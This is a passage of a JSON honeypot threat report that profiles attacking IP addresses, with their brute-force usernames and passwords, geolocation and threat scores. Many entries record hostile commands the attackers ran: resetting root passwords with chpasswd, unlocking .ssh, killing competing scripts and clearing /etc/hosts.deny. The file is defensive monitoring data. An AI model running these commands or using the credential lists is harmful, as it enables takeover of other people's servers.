        "Cowrie": 484,
        "Suricata": 248
      }
    },
    "116.110.148.213": {
      "attack_count": 459,
      "first_seen": "2026-05-24T04:24:50.643Z",
      "last_seen": "2026-05-24T05:03:01.344Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "support",
        "cisco",
        "*****",
        "123456",
        "ace",
        "anton",
        "ashish",
        "auto",
        "bin",
        "brenda",
        "config",
        "demo",
        "dubai",
        "ftp",
        "ftpuser",
        "george",
        "guest"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "1234",
        "12345",
        "password",
        "*****",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "111111",
        "112233",
        "123",
        "1234567890%*()",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcd1234",
        "abcdefg",
        "ace",
        "admin1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 657,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:24:50.643000+00:00",
        "last_seen_30d": "2026-05-24T05:04:08.144000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 459,
        "Suricata": 198
      }
    },
    "77.239.106.153": {
      "attack_count": 300,
      "first_seen": "2026-05-25T12:03:41.620Z",
      "last_seen": "2026-05-25T13:02:09.122Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "developer",
        "cloud",
        "curl",
        "dev",
        "felix",
        "ftp_user",
        "jupiter",
        "robin",
        "steam",
        "syncuser",
        "tabata",
        "test",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "369258147",
        "Abcd@1234",
        "Reza@123",
        "Ubuntu@2025",
        "Wangsu@2017",
        "asd",
        "dev123",
        "felix",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "ftp_user@2025",
        "jupiter",
        "robin",
        "root",
        "syncuser",
        "tabata",
        "user"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"dev123\\nAm4DSzNVIzYq\\nAm4DSzNVIzYq\\n\"|passwd",
        "echo \"root:oxuJkV4VeUHP\"|chpasswd|bash",
        "echo \"root:uf9sXAW83nhP\"|chpasswd|bash",
        "echo -e \"dev123\\nAm4DSzNVIzYq\\nAm4DSzNVIzYq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 210546,
      "as_org": "Chsl One Ltd",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 360,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T12:03:41.620000+00:00",
        "last_seen_30d": "2026-05-25T13:03:16.056000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 300,
        "Suricata": 60
      }
    },
    "187.107.88.97": {
      "attack_count": 282,
      "first_seen": "2026-05-03T03:06:48.092Z",
      "last_seen": "2026-05-03T04:57:03.278Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oracle",
        "ubuntu",
        "alex",
        "deploy",
        "dockeradmin",
        "ftp_test",
        "ftpadmin",
        "gitlab-runner",
        "test",
        "tester"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWEasd",
        "1",
        "112233445566",
        "123456",
        "12345678",
        "123456aa",
        "1234Qwerty",
        "1234qwer",
        "123@qwert",
        "123QWErty",
        "1qazxsw2",
        "Lol12345",
        "Salam@123",
        "Zj123456",
        "admin",
        "admin@123!@",
        "adminss",
        "blackops"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234qwer\\nwDCeJeda69GO\\nwDCeJeda69GO\\n\"|passwd",
        "echo \"ubuntu@2024\\nMH3rYSDI0LV8\\nMH3rYSDI0LV8\\n\"|passwd",
        "echo -e \"1234qwer\\nwDCeJeda69GO\\nwDCeJeda69GO\"|passwd|bash",
        "echo -e \"ubuntu@2024\\nMH3rYSDI0LV8\\nMH3rYSDI0LV8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Bernardo do Campo",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:06:48.092000+00:00",
        "last_seen_30d": "2026-05-03T04:58:12.116000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 82
      }
    },
    "77.105.161.120": {
      "attack_count": 277,
      "first_seen": "2026-05-31T00:45:37.576Z",
      "last_seen": "2026-05-31T01:08:55.199Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user1",
        "admin",
        "admin1",
        "appuser",
        "info",
        "root/1234567",
        "system",
        "user01",
        "ww"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "102030",
        "12345",
        "12345678Qq",
        "12wertyui",
        "20252025",
        "P@ssw0rd@2024",
        "Password!",
        "USER1",
        "admin123!",
        "admin@123",
        "appuser2025",
        "info@123",
        "user01",
        "ww"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"USER1\\nTOjZg8qrJHkD\\nTOjZg8qrJHkD\\n\"|passwd",
        "echo \"root:ABArT3s7Sfp9\"|chpasswd|bash",
        "echo \"root:SPR2WpAtirMj\"|chpasswd|bash",
        "echo -e \"USER1\\nTOjZg8qrJHkD\\nTOjZg8qrJHkD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 216300,
      "as_org": "Closed Joint Stock Company AbkhazMedia",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 323,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:45:37.045000+00:00",
        "last_seen_30d": "2026-05-31T01:10:02.740000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 277,
        "Suricata": 46
      }
    },
    "178.20.210.185": {
      "attack_count": 271,
      "first_seen": "2026-05-03T00:24:16.967Z",
      "last_seen": "2026-05-09T10:02:39.269Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "pi",
        "test",
        "ubnt",
        "user",
        "RPM",
        "USER",
        "adrian",
        "config",
        "default",
        "deploy",
        "freebsd",
        "marcel",
        "operator",
        "orangepi",
        "postgres",
        "prueba",
        "redmine",
        "support"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "0p3nm35h",
        "1234",
        "123456",
        "000000",
        "001",
        "1",
        "12345678",
        "930920",
        "NSSpassword1",
        "PASSWORD",
        "RPM",
        "Welcome1",
        "admin123",
        "admin1234",
        "admin@123",
        "adrian",
        "bananapi",
        "config"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 424,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:24:16.967000+00:00",
        "last_seen_30d": "2026-05-09T10:03:42.259000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 271,
        "Suricata": 153
      }
    },
    "45.144.233.139": {
      "attack_count": 254,
      "first_seen": "2026-05-22T17:10:02.550Z",
      "last_seen": "2026-05-24T19:47:29.758Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iksi",
        "intel",
        "abdel",
        "alex",
        "bart",
        "csgo",
        "dbadmin",
        "frappe",
        "ftpuser",
        "grafana",
        "httpd",
        "newftpuser",
        "systems",
        "tars",
        "tester",
        "testuser",
        "tidb"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC",
        "123",
        "123123",
        "12345678",
        "123pls123A!",
        "ASDqwe123",
        "Aa147258!",
        "Abc123456",
        "Abcd12345",
        "P@ssw0rd",
        "P@ssw0rd12345",
        "abc123..",
        "abdel",
        "bart2025",
        "csgo",
        "dbadmin",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:AFDZlOfagSvd\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 343,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:10:02.550000+00:00",
        "last_seen_30d": "2026-05-24T19:48:35.007000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 254,
        "Suricata": 89
      }
    },
    "173.212.228.191": {
      "attack_count": 236,
      "first_seen": "2026-05-17T18:26:58.888Z",
      "last_seen": "2026-05-17T18:52:51.513Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweZXC",
        "135858",
        "2014qwer",
        "555",
        "aaa123",
        "aaaaaaaaaaaa",
        "admin2014",
        "asteriskftp",
        "elena123",
        "hj123",
        "morgan",
        "nowone",
        "pa123",
        "penguin",
        "pragma",
        "teddy",
        "testing123456",
        "transltr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9tAia6NKHXlS\"|chpasswd|bash",
        "echo \"root:H9nDeBRcCpFK\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T18:26:58.888000+00:00",
        "last_seen_30d": "2026-05-17T18:53:59.785000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "188.120.230.55": {
      "attack_count": 231,
      "first_seen": "2026-05-17T16:12:01.170Z",
      "last_seen": "2026-05-17T16:39:23.970Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234Qwer",
        "1946",
        "198613",
        "@dm1n",
        "A12345678a",
        "Qwerty@123",
        "\\\\\\\\",
        "admin@!@#$",
        "anderson",
        "arsestar",
        "elfenlied",
        "k0nig@@",
        "number1",
        "qazwsxedc1",
        "rj",
        "sanjay@123",
        "shoko",
        "winnt40"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:GC6yisRaYsdT\"|chpasswd|bash",
        "echo \"root:YVid8RQhbnUc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 29182,
      "as_org": "JSC IOT",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T16:12:01.170000+00:00",
        "last_seen_30d": "2026-05-17T16:40:33.589000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 231,
        "Suricata": 51
      }
    },
    "123.179.174.30": {
      "attack_count": 216,
      "first_seen": "2026-05-20T06:25:59.561Z",
      "last_seen": "2026-05-20T18:12:45.292Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T06:25:59.561000+00:00",
        "last_seen_30d": "2026-05-20T18:13:48.166000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 116
      }
    },
    "124.234.181.186": {
      "attack_count": 214,
      "first_seen": "2026-05-20T18:19:26.145Z",
      "last_seen": "2026-05-21T06:24:52.393Z",
      "sessions": 107,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 325,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:19:26.145000+00:00",
        "last_seen_30d": "2026-05-21T06:26:00.248000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 214,
        "Suricata": 111
      }
    },
    "109.73.201.40": {
      "attack_count": 212,
      "first_seen": "2026-05-21T23:40:08.733Z",
      "last_seen": "2026-05-22T00:26:55.534Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "testuser",
        "ghost",
        "lee",
        "mc",
        "mustafa",
        "username"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Admin123456!",
        "Admin@2025",
        "Deneme123",
        "Work@123",
        "chen123456",
        "docker",
        "mustafa",
        "qwer!@#1234",
        "testuser@123",
        "zxcASD123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:998pyU9XLAUP\"|chpasswd|bash",
        "echo \"testuser@123\\nPgoxtx97hDbC\\nPgoxtx97hDbC\\n\"|passwd",
        "echo -e \"testuser@123\\nPgoxtx97hDbC\\nPgoxtx97hDbC\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 9123,
      "as_org": "Jsc timeweb",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:40:08.733000+00:00",
        "last_seen_30d": "2026-05-22T00:27:59.620000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "43.134.100.175": {
      "attack_count": 209,
      "first_seen": "2026-05-19T21:05:53.908Z",
      "last_seen": "2026-05-19T21:33:35.803Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Password1",
        "!QAZ2wsxcde3",
        "1902",
        "1969",
        "abcd1234@",
        "atpco",
        "claude",
        "football123",
        "jxu1234",
        "linuxroot",
        "netflow",
        "newnew",
        "nithya",
        "oozie",
        "presto",
        "share",
        "sisadmin",
        "spider"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:YEtOAv9oEUXj\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:05:53.908000+00:00",
        "last_seen_30d": "2026-05-19T21:34:36.962000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 209,
        "Suricata": 60
      }
    },
    "59.180.164.28": {
      "attack_count": 200,
      "first_seen": "2026-05-19T07:14:01.472Z",
      "last_seen": "2026-05-19T18:01:23.158Z",
      "sessions": 100,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 17813,
      "as_org": "Mahanagar Telephone Nigam Limited",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:14:01.472000+00:00",
        "last_seen_30d": "2026-05-19T18:02:26.852000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 100
      }
    },
    "211.106.133.202": {
      "attack_count": 188,
      "first_seen": "2026-05-14T13:19:48.619Z",
      "last_seen": "2026-05-14T14:09:50.461Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "anonymous",
        "cs",
        "es",
        "ftp",
        "linux",
        "oneadmin",
        "pakchoi",
        "qa",
        "ubuntu",
        "yi"
      ],
      "passwords_attempted": [
        "123456",
        "linux123",
        "0206",
        "123Qwe123C",
        "1Qaz2wsx@",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123!!",
        "Az123456",
        "Baidu@123",
        "Kermit123@",
        "Test@123",
        "Xc123456",
        "admin112233",
        "anonymous",
        "changeme",
        "es@2022",
        "ftp@123",
        "gwh28dgcmp",
        "oneadmin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ExCLJxp6uD1v\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
